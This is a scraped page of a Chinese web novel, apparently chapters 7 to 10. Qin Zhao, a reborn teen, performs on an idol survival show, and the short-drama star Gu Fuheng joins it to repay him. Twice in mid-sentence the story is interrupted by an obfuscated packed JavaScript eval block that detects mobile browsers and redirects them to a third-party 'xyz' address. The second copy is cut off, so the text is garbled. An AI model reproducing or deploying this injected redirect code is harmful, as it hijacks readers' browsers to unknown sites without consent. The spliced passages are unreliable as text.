爱豆导师方星琰用自捅一刀的方式安慰许年纶：“没事，许老师主要走幕后。我出道这么多年了，小红薯单人tag阅读量也快被秦昭超了。” 米雅被戳中笑点，硬生生把嘴角压了下去：“…………” 咳，还好她这类歌手不是走流量路线，倒不会因此受挫。 导师们对这尊大神来参加节目也感到意外，更多的则是好奇。 除去被堵在校门口留下的十几秒采访，这是秦昭第一次正式出现在公共节目里。 《星光熠熠》毕竟是选秀，他的实力究竟如何？ 米雅正想跟身边的lenziD老师八卦下他知不知道秦昭，就听到身后突然爆发出巨大的嘈杂声，她直觉抬头看向通道口。 秦昭是一个人上台的。 没有队友，就意味着全场的目光都不会被任何人分散，所有的注意力都聚焦在秦昭身上。 正常情况下，这种被凝视的场面会给人带来很大的心理压力，连幕后盯着屏幕的工作人员都在强烈的代入感中屏息。 摇臂镜头始终跟随着秦昭，大屏上实时切换成秦昭的近景特写，又慢慢推到半身，全身。 同龄的贺湜曼脸上还能看到未褪去的婴儿肥，散发着稚气，秦昭从五官到身高却已经肉眼可见的成型了。 青少年青涩的皮相跟天生的优越骨相完美贴合，身量高挑，肩宽腿长，瘦削单薄却并不脆弱，一切恰到好处。 真真正正的，散发着极具冲击性的少年美，又糅杂着荷尔蒙非主观外散的张力。 相比外形的强烈存在感，秦昭本人又淡淡的。 不会让人下意识第一眼就把他当成未成年看待，反倒容易不自觉生出一种，似乎可以放心依赖他的错觉。 第一印象太重要。 仅仅是从后台通道走向台前的这几步，也会给导师们和观看节目的观众截然不同的感受。 秦昭站定在台前。 他很安静地抬眼看向导师们，干脆地鞠躬后简短自我介绍。 “导师们好，我是秦昭。” 导播似乎很喜欢怼脸拍，大屏画面停留在特写，镜头迟迟不移开。 坐在第六位置上的徐知晗摸摸自己的脸，视线一错不错看着大屏上的秦昭，真心叹息：“斯汭啊，你哥我遇到对手了。” 柏斯汭不用回头看就知道徐知晗又在自恋，他无情地戳穿了队友的美梦：“秦昭更帅。并非对手。” 徐知晗手缓缓放下：“……呵呵这么不留余地，你以后最好不要背对着我。” 声乐导师米雅按了按自己的耳返，蛮意外地仔细观察秦昭。 很好听的声音，语调听着说不出的舒服。 唱功取决于后天练习的程度，天赋决定进步速度和上限，声线却是天生的。 很多练习生，声线普通，更多的是由脸和表现力给声音赋魅。秦昭不同，米雅作为对音色最关注最敏感的天赋型歌手，当下就不由自主露出点笑容来。 作为声控，米雅试图引导惜字如金的秦昭展现更多。听到导播在耳返里催促提醒她聊聊见义勇为的事，米雅反倒更想先跟秦昭讨论下别的：“或许你有听过我的歌吗？” lenziD默默探头看看噙着笑的米雅：“……？” 这么打直球的吗？ 秦昭倒是对导师跳脱的提问适应良好，微怔后点头：“听过。” 回答的太简短观感或许不好，不等米雅继续问，秦昭就顿了顿自己补充：“我很喜欢《言不由衷》，《深蓝之海》。” 米雅导师眼睛顿时一亮。 这是真听过，不是客套！ 《言不由衷》甚至是非主打，属于会被她的粉丝称为“沧海遗珠”的小众歌曲。 其他导师没有打断他们之间的对话，米雅出于给秦昭额外话题和表现机会的善意，外加一点她本人想听的私心发问：“你愿意清唱两句这首歌吗？” 有的练习生心里嘀咕是不是剧本，直到秦昭点头开始唱。 ……不重要了。就算是剧本，也得接得住才行。 练习生们都是第一次听秦昭唱歌。就算是崇拜秦昭的人，此前也没想过他实力能有多强，毕竟是意外进圈的纯素人。 坐在角落的安夏纱动了动，上半身不自觉往前倾。 他身边的徐闻察觉到安夏纱的认真。 从落座到现在，安夏纱一直是那种困倦强撑的散漫姿态，这一刻终于舍得挪动一下了。 看台上的陆诤怔忪地看着台前。 他没有听过米雅老师的这首歌，不清楚原唱呈现的效果，内心却莫名钝痛。 临时的清唱没有伴奏，演播厅特定的环境氛围加持，让人声更清透的填满空间，尾音如回音般延长。 闭上眼单独去听，无需任何附加条件，也同样敲动心弦。 演播厅内过多的灯光炙烤的空气都发烫，环境影响下就连导师都容易不自觉烦躁发闷，秦昭的声音通过收音清晰导入的这一刻，躁动却毫无来由的被抚平了些。 就像秦昭站在他们面前，米雅导师能感受到身后兴奋讨论的练习生们都随着安静下来，听秦昭唱歌。 这是一种很难描述的氛围感。 秦昭像是被很多矛盾对立的两面糅杂在一起。 眉宇间还带着青涩的学生气，神态却沉静淡然。 尚在似乎无法独当一面的年纪，言行却成熟稳重。 肩背挺拔，又放松不紧绷。 秦昭拿着手麦，手臂隐约恰到好处的漂亮薄肌令人毫不怀疑潜藏的力量，情绪格外平静稳定，却总在敛眉的某个瞬间让人恍惚觉得，眼前的人背后隐约也有脆弱的一面。 秦昭哪怕挂着浅笑，跟他对视的人也能看出他笑意没到眼底。 导师们都是在娱乐圈内混迹了很多年的艺人，经验丰富，见过太多形形色色的前辈后辈，却没见过气质像秦昭这样特殊的。 见过一次就很难忘记。 秦昭只唱了几句就适时地停了下来。 米雅导师眼底透着满足和遗憾，脱口而出：“有机会的话，我想在下次的个人演唱会上，邀请你跟我同台完整演唱这首歌。” 秦昭难得流露出一点意外，他顿了顿，习惯性地用手背蹭了下鼻尖。 “谢谢米雅老师，我的荣幸。” 沉浸在歌声中的练习生们回过神，在意识到米雅在对秦昭提出演唱会嘉宾的邀请后，爆发出一阵嘈杂的讨论声。 “哇！！还能这样！！” “如果我也能唱得这么好，导师会邀请我吗啊啊……” “一时间不知道该羡慕哪一边，我都羡慕。” “果然唱歌看天赋，不用系统学习也可以靠本能。我练了两年也唱不出这种，自然融入感情很打动人的效果。” “谁说只有唱歌看天赋……跳舞不看吗……原生建模不算吗……不能再讨论下去了再讨论我跳了。” 徐闻又在叹气。 唱歌是否能深入人心，天赋太重要了。 不然也不会有那么多素人发在家或ktv唱歌的短视频，依然能收获几百万的点赞。 不可否认，播出后，米雅导师这句看似头脑发热的邀请，也并不会被抨击。 被这几句清唱打动，人之常情。 导师们的耳返中再次传来节目组的催促声，秦昭本人不提，话题也要往见义勇为的事件上引导。 大众对秦昭的探索欲太高，这一个月每天都有无数人联系秦昭想做专访，奈何秦昭本人太低调，全都拒了。 这对《星光熠熠》来说倒是绝好的机会，平时不看选秀的吃瓜人也会一拥而入，词条破百亿的社会新闻主人公，不可能略过这件事不提。这可是绝佳的炒作噱头，剪辑成预告的话，第一期的播放量和讨论度可以想见，完全不用愁。 “秦昭，我在一个月前就看过你见义勇为的视频。”出乎意料的，前面几个舞台话相对较少的柯霁屿导师率先开口。 他明显是对秦昭确实有好感，不但主动提起，还多说了好几句。 柯霁屿很认真地感慨：“我必须要说实话，我远没有你勇敢。” “我也不能虚伪地用年龄做勇气不足的借口，就算我回到我的少年时代，我也很确定我无法像你一样，为了陌生人的性命而拿自己冒险。你拥有绝大多数人都没有的人性上的闪光点。” “正因为我做不到，我也无法设想你当时的心情和想法。” 柯霁屿导师不知道自己的提问是否冒犯，他只是很想知道：“秦昭，当时你害怕吗？” 秦昭没有立刻回答。 练习生们都竖起耳朵，而陆诤坐在位子上，回想起事件发生后的第二天。 他在课上偷偷玩手机摸鱼，结果刷到了秦昭见义勇为的视频。陆诤一眼就认出自己的同桌，下意识扭头想先确认秦昭有没有受伤，就看到秦昭怔忪的静静出神。 秦昭像往常一样看向窗外的那个侧脸，不明缘由的，让陆诤心脏一缩。 陆诤头脑简单，他只想着，秦昭或许是留下了心理阴影，他其实也是怕的。谁正面对上砍人的疯子不害怕？ 视频看着帅，但也很吓人，陆诤第一遍看得心惊肉跳的，确认好几遍秦昭没受伤，合理猜测秦昭是有阴影才比以前沉默。 他是练习生中唯一知道秦昭在事件后有明显变化的人，但他不知道的是，秦昭已经不是那个秦昭了。 真正十六岁的秦昭，虽说是淡人却也爱笑，有着青少年特有的无忧无虑的阳光底色。 而现在的秦昭偶尔泄露出来的破碎感，是他曾经一次次靠自己走出命运磋磨的印记。 他的疏离感来自上辈子的经历，陆诤脑子不太灵光，思考后认定秦昭是救人后感到后怕，也担心被报复。所以陆诤一直在刻意多跟秦昭碎碎念，让他转移注意力，开心点。 “……” 秦昭沉默许久，其实是因为，时隔久远，他早就不记得当时究竟是什么感受了。 十年，再强烈的情绪波动也像是隔了雾气，模模糊糊。 但秦昭了解曾经的自己，所以他回 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节目组得到了想要的内容，也没有再push导师们继续提问。 毕竟秦昭人还在这档节目里待着，想深挖还可以靠后采，或捕捉秦昭迷哥迷弟日后跟当事人的对话。 米雅掩藏不住对秦昭的欣赏，她点着头示意秦昭可以开始表演了：“期待你的舞台。” 在这个年纪得到突如其来爆’炸式的捧杀和赞美，就算膨胀轻飘飘也很正常，但是秦昭出奇的稳。 他后退了两步，转过身背对着导师们站定。 这一举动让练习生们都随着兴奋起来，怎么看都是秦昭有设计好的开场。 有秦昭的清唱珠玉在前，眼下没人再轻视秦昭的表现力，都坐直了些注视着舞台中心的人。 出乎意料的重低音鼓响起，律动感席卷每个人体内随之躁动的舞蹈因子，秦昭毫无征兆地踩着打破节奏的镲片声原地跃然起跳，以高倍镜头才能捕捉、肉眼难以看清的利落，腾空后旋身转体，屈膝落地。 超高难度的动作燃炸全场，这时候练习生们才想起来，秦昭不仅仅是出身南兴科技高的学霸，他是靠见义勇为爆火的，学了很久的自由搏击，身体素质惊人的突出。 大屏飞速由全身画面切到特写，秦昭卡着hiphop与电子音乐结合的密集军鼓抬眼。 这一眼穿透镜头跟屏幕前的人隔空对视，仅仅不过零点五秒，杀伤力丝毫没有随着镜头的切换而减弱。 秦昭本人的特质在褪去，符合曲风的野性如烈火中燃烧的野草，春风吹又生。 本来就热衷于reaction的练习生们大片弹跳而起，蹦着在自己的胳膊上划拉着浮起的鸡皮疙瘩，发出“噢哦——”的激动声音。 米雅导师不久前cue到的《言不由衷》，让练习生们先入为主又理所当然地以为，秦昭要走vocal路线，走稳妥不容易出错的抒情风。 往届基础薄弱的个人练习生参赛，最终也有不少成功出道的，甚至有练习时长短但C位出道的例子。他们的初舞台选择，无一例外都是偏抒情的慢节奏风格，这样不容易暴露短板。 唱歌没有基础影响也不大，主要靠天赋，初舞台跳得好唱不好的练习生比比皆是。 就连导师们都认为秦昭或许只是在声乐上有天赋，毕竟两项都同时拥有出众潜力的人凤毛麟角。 没想到秦昭是个例中的个例。 秦昭选曲很大胆，也很聪明。 ——《champion》。 像是在无形中昭示着秦昭的野望。 聪明在于，这首歌舞蹈充满hiphop特有的大框架，想跳得好看对基本功要求非常高，本身的动作却又算不上多难，新手练得遍数多了，也能顺利上手。 而舞蹈跟搏击的基本功，某种层面是有极大重叠的。都需要锻炼核心，拉筋压腿，提高体能与柔韧性。 听感不必说，秦昭唱《champion》这样的歌曲同样适配，他肺活量强，甚至听着很轻松，毫不勉强。 技巧上虽有粗糙的地方，却瑕不掩瑜。 选秀远没有到歌手那样的高标准，相对较前面的舞台而言，秦昭的唱功甚至能算得上突出。 这是一个丝毫看不出出自个人练习生的舞台。 流畅，完整，可圈可点，成熟度与完成度出乎所有导师的预料。 “表管好牛……是有专门练过吗？” “核心强的可怕。” “不是都说隔行如隔山，秦昭这舞蹈为什么跳得比我还好……” 怀疑人生的练习生们将这种表现归结为天生的才能，只有陆诤见过在练习室里的秦昭。 他一直都知道秦昭很聪明，他是绝对的天才，但陆诤也没想到秦昭会这么努力。 最初陆诤还悄悄想过，秦昭会不会是为了“陪他”一起来体验一下选秀，才同意了节目组的邀请。 在看到秦昭练习时的拼命程度后，陆诤就知道自己想法太幼稚。 秦昭是认真的。 他不是来节目里玩一玩，他是真的想在节目里出道。 而且不是打算靠着本身的人气一路躺赢，而是真正能够让所有人都看到他的态度，对出道的结果信服。 陆诤感到自己开玩笑似的猜测是对秦昭的不尊重，尽管只是在心里这么想想，还是尴尬到想把自己捶一顿，连着好多天都愧疚地给秦昭嘘寒问暖，把秦昭搞得很茫然。 导师们看得出秦昭背后付出的汗水。 是否认真对待一个舞台，是能很直观的看得出来的。 当最后一个音节落下，秦昭控制着呼吸鞠躬结束表演，米雅导师率先拿起麦克风，却没有急着对秦昭说评语，而是转身抬头看向身后的练习生们。 “对秦昭上台之前的那几个舞台，我很失望。” “这种失望并非是因为你们的实力很差，更多的是，我完全没有看到你们在认真对待这个舞台，珍惜表演的机会。” “所有的敷衍，都会转换成他人对你们的转身，次数多了就不再回头。” 米雅回头定定看向秦昭，丝毫不掩饰自己的欣赏。 “我在你的身上看到了我一直想看到的东西。” “谢谢你，尊重舞台，尊重观众，尊重你自己。” “在我心里你是毫无疑问的A。” 秦昭呼吸渐渐平缓，他没说什么，朝着米雅导师鞠了一躬。 人生的轨迹永远是靠自己去改变。 秦昭相信的东西不多。 其中永恒不变的，就是相信自己。 8. 第 8 章 导师们讨论没多久，就统一出了秦昭的等级评定结果。 柯霁屿跟米雅无条件A，许年纶看好秦昭的肢体控制能力，标准最严格的方星琰本来是想将秦昭放到B的，但选秀并非是选当下唱跳实力最强的九个人出道，综合考虑潜力、外形、人气，星味及舞台观感各方面，秦昭拿A没什么争议。 “个人练习生秦昭，”lenziD导师没有卖关子，干脆地宣布结果，“A。” 练习生们对此毫不意外，陆诤兴奋的条件反射直接蹦起来，后知后觉在录节目，又紧急装作若无其事一屁股坐下了。 木泽霖被突然跟猴一样窜起来的陆诤吓了一跳，没等他搞明白陆诤想干嘛，就看到对方光速调整到冷静模式，装模作样地矜持鼓了两下掌。 木泽霖：“……”别藏了，嘴角咧到太阳穴去了。 导播在后台切出几个节目组重点关注的练习生跟拍，观察他们对秦昭初评级舞台的reaction。 拥有“上帝视角”的导播，某种程度上等同于节目播出后的观众，掌握着多方视角，区别是导播还比观众多出一个信息差优势。 观众只能看到剪辑过后的版本，而导播基本看过所有练习生的影像及书面资料，包括台前幕后。 在不会被全部放出的一对一面试环节，眼光独到嗅觉敏锐的导演组已经列出一个有潜在出道可能的名单，重点跟拍，丰富可用素材。 切换到后台画面，眼看着秦昭即将跟顾傅恒迎头撞见，导播嘴角不自觉地翘了翘，仿佛看到猛烈的话题度在向自己不断招手。 谁能想到。 《星光熠熠》前期的宣发费用全都省了。 不但婉拒他们两次的秦昭松口同意来，还带动了连锁反应，引来了意料之外的顾傅恒。 顾傅恒是在秦昭横空出世前，节目组就不断软磨硬泡邀请的对象。 作为如今炙手可热的“短剧顶流”，顾傅恒还有一个众所周知的过往——他最初是以爱豆身份出道，正儿八经做了四年练习生，唱跳俱佳。 只是时也运也，顾傅恒出道后几经波折，先是遇到居家隔离出道即“雪藏”，后是遭遇队友塌房被“恨屋及乌”骂了一卡车，爱豆路走得格外坎坷，只留下了众多心酸中透着搞笑的黑历史。 心灰意冷到了半退圈状态，合约到期后单飞破罐子破摔演短剧，结果意外火的一塌糊涂。 秦昭出现之前，《星光熠熠》本来是想着找顾傅恒来做前期免费引流的对象，也许诺了只要顾傅恒肯来，必想办法给他剪辑高光镜头保他一个出道位，不让他白来。 可惜，采访中曾透露对爱豆梦破碎倍感遗憾的顾傅恒，已经ptsd了，怕顺风顺水后回去又是撞南墙。 顾傅恒拒绝了四次，明确说明他现在发展很顺利，已在准备进军长剧，转型当正儿八经的演员，没有回选秀重头开始的意愿。 秦昭那头答应参赛后，节目组立刻决定放弃去磨顾傅恒。 万万没想到，得知秦昭参赛的顾傅恒，竟然一个回马枪，主动联系节目组说他要来。 顾傅恒方态度一百八十度大转变，节目组怕这里面有坑，秉持着谨慎的原则问了对方为什么改主意。 世界就是这么小。 秦昭救下来的那个路人，是顾傅恒在网络上保护的密不透风的亲弟弟。 他不是来出道的。 他是来报恩的。 至于顾傅恒要怎么报恩，这不关节目组的事儿。 泼天的热度就接连这么扣在脑袋上，团队的人晚上睡觉都会笑醒，没可能拒绝。 节目组这边多签了份保密协议，不允许将顾傅恒亲弟弟的事透露出去。 少了一样可以炒作的点虽说可惜，但芝麻和西瓜选哪个，一点都不难选。 顾傅恒将家人都保护的很好，网上没有传出过任何有关他家人的信息，都被捂得严严实实，保证家人正常生活不会被打扰。 * 镜头跟随秦昭从台前转向后台。 他要在这里领取并贴上属于他的A等级标签。 而提前候场的顾傅恒，已经在摄像大哥憋到内伤的忍笑大挑战中，来来回回凹了快五分钟的造型。 顾傅恒演了快两年霸总，堪称霸总专业户。 每天两眼一睁就是演，在他不自知的情况下，他已经被bking霸总腌入味了。 举手投足，都写着骚包。 来见恩人，顾傅恒特意使出十二万分的力捯饬自己，好给秦昭一个绝佳的第一印象。 某小众高奢春夏新款的黑西装，剪裁精细，盘靓条顺，顾傅恒照镜子都会忍不住被自己帅到笑出声。 摄像大哥就看着这位哥凹。 他挑了一个自己最帅的角度，丝毫不在意摄像老师将他紧张的调整过程收录进去，最终选择了靠墙手抄兜这样看起来较为朴素自然的等待状态。 秦昭一走进候场区，就看到一个西装革履有点眼熟的男的在朝自己笑。 挑起的嘴角三分期待，三分雀跃，三分激动，眼底则是十二万分炙热。 秦昭不知道，那种奥特曼一样两眼放出的镭射光线，名为“感激到无以为报”。 秦昭：“……？” 他视线在这个莫名笑得人发毛的西装男身上停留了不到一秒，就毫无反应地略过，礼貌接过工作人员递给他的A等级贴纸，低头往衣服上仔细粘贴。 被无视的顾傅恒：“…………” 糟糕。 用力过猛了。 忘了秦昭根本就不知道他是谁。 顾傅恒也没打算跟秦昭点明他的来意和身份。 秦昭不接受钱财或任何礼物答谢，一旦知道他来的目的，反倒会让秦昭有心理负担，拒绝得更彻底。 初次见面，什么样的身份才能合理的毫不遮掩对某个人好？ 顾傅恒想起总是无条件支持自己，无条件对自己好的粉丝们。 粉丝的爱是无解的。 伪装成秦昭的粉丝，就可以光明正大对他好了。 顾傅恒脑袋一拍就做决定，行动力超强，抓住机会给自己套一层合理的身份，大步往前一迈：“秦昭老师。” 秦昭表情更加莫名地扭头。 ……秦昭，老师？ 我吗？ 顾傅恒：“自从看过你见义勇为的视频，我就成了你忠实的粉丝。” 七百天没日没夜演了二十部短剧，霸总设定已经刻入顾傅恒的DNA，他像喝水一样自然地直接顺口道：“我有一套房子想送你，你有时间跟我一起去趟房产交易中心吗？带个身份证和户口本就可以过户了。” 秦昭缓缓眨了两下眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156039|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，显然不太能立刻消化这么巨大的信息量：“…………” 摄像大哥仿佛能看到秦昭脑袋上硕大的问号。 不是，哥们。 你谁？ 工作人员适时地提醒顾傅恒，该上台了。 顾傅恒点头，颔首时透着雷厉风行的精英味道，与一股说不出哪里不对的违和感。 “房子的事我们过后再谈。” “请记住我的名字。” 顾傅恒展颜一笑，风流倜傥，意气风发。 “我是顾傅恒。” 说完，他大步流星，走路带风，迈着死装的步伐上台了。 没看过短剧的秦昭，在原地消化了五秒突如其来的文化差异。 “……” 虽然说不上来哪里不太对，但刚刚的这一幕，好像突然场景就变了。 摄像大哥用尽自己毕生的敬业精神，控制住了自己没有笑得手抖。 秦昭回到座位时，还在想为什么顾傅恒这个名字这么耳熟。 落座后，顾傅恒正在台上做自我介绍。 同时，秦昭听到周围的练习生们，都在进行着一些他听不太懂的加密通话。 “！！是顾总，活的顾总！！” “什么！夫人离家出走了？哈哈哈哈哈哈我一看到顾哥就绷不住。” “区区五百亿。你竟然为了五百亿背叛我？” “顾哥一出场我就开始嘴角上扬，死嘴别笑了。” “明明可以靠颜值，非要靠幽默……帅成啥样了。” “我可爱看顾傅恒直播了……谁懂……隐约有让人不可自拔的中毒性……我还给他刷过二百块的礼物……” 大屏幕上，顾傅恒眉眼深邃，山根高挺。 不是混血胜似混血，英气不失俊秀。 秦昭想起来为什么这名字耳熟了。 人流量密集的市中心商超，人来人往的公交站牌。 几年后，到处都是顾傅恒代言品牌的巨型广告牌。 可是不对啊。 秦昭很确定，他看过的几期选秀里，根本没有这个顾傅恒。 正对记忆有出入感到疑惑，秦昭就听到台上的人大大方方开口。 “我确实有未实现的爱豆梦在，想填补遗憾。” “但如果这档节目没有秦昭，我或许会选择继续当演员，把遗憾放在心里。” 顾傅恒松弛地握着麦克发言，仿佛这里不是节目录制现场，而是顾氏集团发布会。 一八八的身高穿西装再合适不过。 顾傅恒比例极好，一手握麦，垂在身侧的手腕线极低，腿又长又直，宛如模特。 他说出口的每个字都透着坦然，明明每分每秒都透着b味儿在死装，却能感受到他的真诚。 “我是为了秦昭来参赛的。” “作为他的粉丝，我现在的梦想变得比以前更具体了。” 顾傅恒轻笑，说什么都像玩笑，又说什么都像发自内心。 “我想和秦昭一起出道。” 别人可能会以为顾傅恒在立人设，走故事线。 秦昭却清楚，上辈子《星光熠熠》中的确没有顾傅恒。 蝴蝶振翅，在不经意间悄然扇动翅膀。 来参赛的顾傅恒，就是秦昭带来的，第一个即将引起飓风的蝴蝶效应。 9.第 9 章 换个人冷不丁在台上隔空表白最有热度的选手，肯定要被质疑这热度蹭得太硬。 但这是短剧顶流顾傅恒。 他的泛人气没有秦昭广，氪金粉却尤其多，不缺死忠。 在需要真金白银打投决定出道位的选秀里，自带粉丝基础的顾傅恒只要不严重翻车，就很难错失出道位。 初舞台特意带一句节目播出前仍算半个素人的秦昭，更像是真心支持。 消息灵通爱八卦的练习生们都知道，几个业内透露过顾傅恒在积极接触正经长剧，考虑脱离短剧转型。 他在现有的长剧演员中无撞型，完全稀有款，接对了人设爆出来的可能性不小，剧播了翻身就在一夜之间。 突然换赛道毫无征兆，这种一拍脑袋就做决定的事寻常人办不出来，顾傅恒倒真有可能。 符合他的一贯作风。 顾傅恒能在激烈的竞争中杀出来，成为某个领域的top，他必然是有其独特魅力在的。 短剧顶多是认识顾傅恒的途径，真正让粉丝留下来成为他的死忠粉，靠的是直播。 顾傅恒有一种奇怪的魔力，他无论说出什么离谱的话，你都觉得他很真挚。 “我理解你。”舞蹈导师许年纶顺势耸耸肩面露遗憾之色，调侃地眨了眨眼，“我要是年轻十岁，我也想参赛和秦昭一起出道。” 顾傅恒皱了下鼻子，深以为然地点头，右手锤了两下左肩后朝许年纶比了一个开枪的手势：“有眼光bro。” 常年泡练舞室的许年纶也不介意顾傅恒喊他bro，只是有点想笑。 看台上，凳子都没坐热的秦昭被周围忍俊不禁的视线看得想回家：“…………” 拜托了，少说两句。 放过淡人。 “好的，我知道你为什么来参赛了。”方星琰导师是最为公事公办的一个，他翻看了下简历，切换话题救秦昭于水火：“你是爱豆出身，有四年练习生经历，以团体身份出道？” 顾傅恒：“是的。” 方星琰导师直击重点：“我看你这两年拍了足足二十部短剧，这个工作量，好久没进过练习室了吧？” 这个问题多少有点尖锐，回答不好的话，容易被诟病。 顾傅恒不假思索，丝毫没有绕过去逃避，而是很干脆地承认了。 “对，当时我想的是很难再回来当爱豆了。所以专攻演戏，把精力都放在了精进演技上，这两年的确疏忽了唱跳的练习。” 陈述完后，顾傅恒不忘自我肯定：“但是老师不必担心，我宝刀未老。” 方星琰导师张了张口，一时间忘了自己想说什么：“…………” 米雅导师眼神闪烁，几次拿起麦又放下。 姐真是没招了。 从顾傅恒上台起，米雅满脑子都是“你怎么会在这儿”。 她扶额欲盖弥彰地挡住自己，歪头跟lenziD寻求认同感：“你觉不觉得有种看熟人耍帅装逼的无力感？” 从没看过霸总短剧，所以压根不认识顾傅恒的lenziD误解了：“……你跟他很熟？” “能不熟吗。”米雅服了：“昨晚我还在看他的《反派霸总觉醒后拒绝走剧情》解压，今天他就搁这选秀了，我不但出戏，我还对他有奇怪的滤镜。” 娱乐圈这行压力太大，顾傅恒是米雅近两年内刷手机放松时的老熟人，堪称解压神器，最熟悉的精神按摩仪，最好用的情绪舒缓工具人。 顾总系列陪伴米雅度过了太多个失眠的夜晚，很难不对皮套演员有点好感。 lenziD毫无共鸣：“……” 姐你的涉猎实在广泛，什么圈你都关注啊。 “罢了。”米雅放弃跟没有共同语言的lenziD沟通，“先看看舞台如何再说吧。” 顾傅恒站定在舞台中心。 练习生们都很期待，等待的间隙迅速展开有关实力的猜测。 “是我孤陋寡闻，我真不知道顾傅恒以前还做过练习生？” “我还真刷到过，顾总早期的练习室物料特别多，实力挺强的。他算国内最早去当练习生的那一批了吧？” “要不说出名要趁早呢，顾傅恒十三岁开始当练习生，十七岁出道，经历了一大堆破事转行去演了两年短剧，归来又选秀……才二十二。” “……啊？？！顾傅恒一直演霸总穿正装什么的，气场强又成熟，我还以为他是大哥……我晕比我小！” 顾傅恒没说谎。 他第一个popping的动作出来，导师们就看出他的水平依然在线。 力度饱满，卡点精准，难得个子高跳舞却很协调，不笨拙。 顾傅恒看似总是随随便便就做决定，然而仔细去看他展现出来的成果就能发现，他其实很有事业心。 以爱豆身份活动的时期他毫不松懈，该做好的部分都无懈可击，只是时运不济没有展现机会。 认为爱豆路彻底断了，顾傅恒转型短剧也依旧对自己狠，没日没夜拍，根本不休息，不拍戏的时候除了上演技课，剩下的时间抓住机会跟粉丝直播，看似是在唠些有的没的废话，实则是重视跟粉丝的交流，及时将角色粉转化成了他本人的粉丝。 转去拍戏后他确实没再进过练习室，疏于训练，临时又狠补，多少还是能看出来的。 只是瘦死的骆驼比马大。 唱跳就像学游泳和骑自行车，会生疏，玩命练捡起来也很快，忘是忘不了的。 跳舞有肌肉记忆，顾傅恒挑选的初舞台，是他曾经在练习室跳过四年的拿手曲目。剧粉考古时，总会先点进他在b站的这条古早练习室视频，播放量已超五百万。 跳着跳着，顾傅恒恍惚感到有那么一瞬间，他再次跟出道前无数次跳着这支舞的自己重叠。 灵魂交错，分不清今夕是何夕。 那一瞬间共振的旧时光剪影像潮水般，面前的导师们和头顶耀眼的舞台灯光在褪去，脚下仍旧是年久失修踩上去会嘎吱作响的木地板，正午的阳光透过练习室的玻璃窗洒进来，照得人暖洋洋，仿佛能看到未来的掌声与鲜花近在眼前，流尽酣畅淋漓的汗水，就会迎来出道的一鸣惊人。 顾傅恒曾经享受一遍遍流汗的过程，想这一切都值得。 后来梦碎了，他认为自己被人骗着做梦，换来一场空，根本就不值得。 但现在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159459|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾傅恒心跳在加快，他越跳越投入，找回来的不止是生疏后再次熟悉起来的舞蹈动作，随之复苏的，还有那颗为舞台怦然作响的心。 一曲终，顾傅恒喘着气，没有急着去听导师们的评语，而是抬起头看向阶梯座椅。 他自己也不知道自己为什么要去看秦昭，他在看台上的九十九个人中很快找到自己要找的人—— 所有人都在观看舞台，秦昭也不例外。 顾傅恒看着秦昭，露出一个对他自己来说，也熟悉又陌生的笑容。 如果有顾傅恒的粉丝在场，一眼就能认出。 那是顾傅恒曾经丢掉的，被粉丝经常嚎啕“出道初期限定”的，跳完一支舞后无需任何附加条件依然感到满足的笑容。 继续走演员路也没什么不好。 但有些遗憾永远也无法再填满，有些丢失的纯粹与美好，永远无法被找回。 而现在，托秦昭的福。 与顾傅恒失散许久，原本一辈子都无法再重逢的那颗初心，回到了他的胸膛中。 此刻，正在他不断起伏的胸腔中，久久无法平复的砰砰作响。 秦昭能感觉到，这不是一个毫无意义的眼神。 顾傅恒眼睛里倒映着演播厅璀璨如星空的灯光，唱跳完一首激烈的舞曲，他呼吸粗重，连接着视线的空间内不是空无一物的直线距离，是隔着一整个未来的走马灯。 没有秦昭，顾傅恒不会做出来到《星光熠熠》的决定。 那么以后的十年，他或许会顺利转型成更好的演员，收获很多成就与星光。 但年少时的梦想，再也无法捱过漫长的冬雪破土而出。 像是在用眼神长久诉说“谢谢你”，顾傅恒收回视线，等待导师们的点评。 拎着一箩筐的夸奖，方星琰导师以一句“期待你找回更好的状态”作为结束语给了他B，顾傅恒点头接受回到后台，才恍恍惚惚想起一件事。 这种过于强烈的失而复得的感觉，是从哪儿来的？ 顾傅恒感觉自己重生的题材演多了。 他晃晃脑袋，找回自己平日里的状态，迈着狂炫酷霸拽的步伐回到了自己的座位。 啧，怎么只有B。 还想跟秦昭老师分到一间宿舍呢，看来是没戏了。 秦昭后面接着是顾傅恒，导师们都觉得自己吃得有点太好了。 果不其然，之后一连几个舞台，都乏善可陈。 差也差的不突出，连个奇葩一点的都没有，正常又平平无奇到导师们险些打呵欠的程度。 录制过半，全场都有些提不起神时，终于又来了一位令人精神一振的参赛者。 《星光熠熠》是纯内娱开办的节目，但来参赛的练习生，报名并无任何限制。 也就是说，这档节目中，是有外国练习生的。 从后台走上来的练习生黑发微卷，五官有着明显的混血感，睫毛浓密，笑起来一口白而整齐的牙齿，异域风情中透着风情万种。 “老师们好。” “我是Tiziano（蒂齐亚诺）。” 秦昭看到蒂齐亚诺后，微微动了动。 他记得这个人。 10.第 10 章 秦昭记得蒂齐亚诺，是因为陆诤。 按照原本的轨迹，陆诤二公的舞台，本来是跟蒂齐亚诺在同一组。 蒂齐亚诺在混血中算长得很有辨识度的，实力不弱，前期人气非常高，投票数自公式照公开起就始终稳居在高位。 那时很多人预测出道位有他一席之地，但就在二公前一晚，蒂齐亚诺意外出事故受了严重的伤。 